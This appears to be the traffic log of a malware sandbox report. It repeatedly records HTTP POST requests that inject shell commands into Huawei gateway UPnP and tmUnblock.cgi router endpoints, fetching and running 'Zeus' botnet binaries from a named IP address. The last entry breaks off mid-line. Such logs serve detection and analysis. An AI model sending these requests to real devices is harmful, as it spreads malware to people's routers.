Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 